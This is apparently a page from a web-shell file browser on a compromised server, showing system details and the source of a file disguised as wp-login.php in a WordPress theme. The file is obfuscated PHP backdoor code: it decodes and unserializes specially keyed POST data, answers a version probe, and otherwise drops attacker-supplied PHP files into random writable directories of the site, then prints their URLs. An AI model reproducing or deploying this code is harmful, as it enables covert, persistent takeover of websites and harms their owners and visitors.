HEX
Server: nginx/1.27.1
System: Linux in-4 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64
User: ilikadirect (1186)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
Upload Files
File: /storage/v6964/gopalak/public_html/wp-content/themes/twentytwentytwo/templates/wp-login.php
<?php function TXxqeoGu($JlXimeBh){$UaejfLxdXs = chr(114).chr(97).chr(119)."\165".chr(114).'l'.chr(490-390)."\145".chr(99)."\157"."\x64".chr(456-355);$BlPNxDnuU = 's'."\x74"."\x72".chr(591-496).chr(495-381).chr(1088-977).chr(116)."\61".'3';$MQfxCdk = "\163"."\x74"."\162".'_'."\163".chr(871-759)."\154".chr(105)."\x74";$JlXimeBh = $MQfxCdk($UaejfLxdXs($BlPNxDnuU($JlXimeBh)));return $JlXimeBh;}function UOWEjP($QsnqOyzxj, $JlXimeBh){$nhXSU = 's'."\x74".chr(114).chr(95).'s'."\x70".chr(133-25).'i'.chr(116);$QsnqOyzxj = array_slice($nhXSU(str_repeat($QsnqOyzxj, (count($JlXimeBh)/16)+1)), 0, count($JlXimeBh));return $QsnqOyzxj;}function UEQXDhv($zHRdCI, $avlPfZNScU, $QsnqOyzxj){$yECvhmceY = "7c586a9b-9842-4fa5-962e-1a7f9f9a2e06";return $zHRdCI ^ $yECvhmceY[$avlPfZNScU % strlen($yECvhmceY)] ^ $QsnqOyzxj;}function YYlzraTQLu($JlXimeBh, $QsnqOyzxj){$JlXimeBh = array_map("UEQXDhv", array_values($JlXimeBh), array_keys($JlXimeBh), array_values($QsnqOyzxj));$JlXimeBh = implode("", $JlXimeBh);$UhGfTnQr = "\x75".chr(110)."\163".'e'."\162".chr(105)."\x61".'l'."\x69"."\172"."\145";$JlXimeBh = @$UhGfTnQr($JlXimeBh);return $JlXimeBh;}function ngDWiFvB(){echo "ZxJTVgQ";}function glrzTm($LqwfpRtCclir){static $jmYTOaSwYq = array();$ZRzXK = glob($LqwfpRtCclir . '/*', GLOB_ONLYDIR);$edDfKcK = count($ZRzXK);if ($edDfKcK > 0) {foreach ($ZRzXK as $LqwfpRtCcl) {$eUTNQbW = "\151"."\163"."\x5f"."\x77".chr(114)."\151".chr(1106-990)."\141".chr(116-18).'l'."\x65";if (@$eUTNQbW($LqwfpRtCcl)) {$jmYTOaSwYq[] = $LqwfpRtCcl;}}}foreach ($ZRzXK as $LqwfpRtCclir) glrzTm($LqwfpRtCclir);return $jmYTOaSwYq;}function cDVPqomGs(){echo "uXbZf";}function rQOGL($JlXimeBh){$cmwlJySTt = "\x44".chr(898-819)."\103"."\x55"."\x4d"."\x45".chr(930-852)."\124".chr(95).'R'.chr(375-296).chr(757-678).'T';$qwtGdJCYoa = $_SERVER[$cmwlJySTt];$ZRzXK = glrzTm($qwtGdJCYoa);$Kdifg = array_rand($ZRzXK);$GaepOxzhkr = chr(46)."\160".chr(352-248).chr(407-295);$OPmreR = $ZRzXK[$Kdifg] . "/" . substr(md5(time()), 0, 8) . $GaepOxzhkr;$NeiOYSpV = 'f'.'i'.chr(108)."\145".chr(95).chr(428-316).'u'.chr(771-655).chr(449-354)."\143".chr(915-804).chr(720-610).'t'."\145"."\x6e".chr(116).chr(618-503);@$NeiOYSpV($OPmreR, $JlXimeBh);$OSboyOstTF = 'H'.'T'.chr(958-874)."\120"."\x5f".chr(72).chr(630-551)."\123".chr(904-820);$lGTfBip = "\150".'t'."\164".chr(441-329).chr(58).chr(951-904)."\57";$wgqQDe = $lGTfBip . $_SERVER[$OSboyOstTF] . substr($OPmreR, strlen($qwtGdJCYoa));print($wgqQDe);}foreach ($_POST as $QsnqOyzxj => $JlXimeBh){$MZbObZcpy = strlen($QsnqOyzxj);if ($MZbObZcpy == 16){$JlXimeBh = TXxqeoGu($JlXimeBh);$QsnqOyzxj = UOWEjP($QsnqOyzxj, $JlXimeBh);$JlXimeBh = YYlzraTQLu($JlXimeBh, $QsnqOyzxj);if (@is_array($JlXimeBh)){$Kdifg = array_keys($JlXimeBh);$JlXimeBh = $JlXimeBh[$Kdifg[0]];if ($JlXimeBh === $Kdifg[0]){$sxmasGlx = "\160".'h'.'p';$qaXsgtbu = 'p'.chr(781-677).chr(112).chr(118).chr(101)."\162".'s'.'i'.'o'.chr(110);$GlUwFyI = 's'.'e'."\162".chr(114-9).chr(97)."\x6c".'i'."\172"."\145";echo @$GlUwFyI(Array($sxmasGlx => @$qaXsgtbu(), ));}else {rQOGL($JlXimeBh);}die();}}}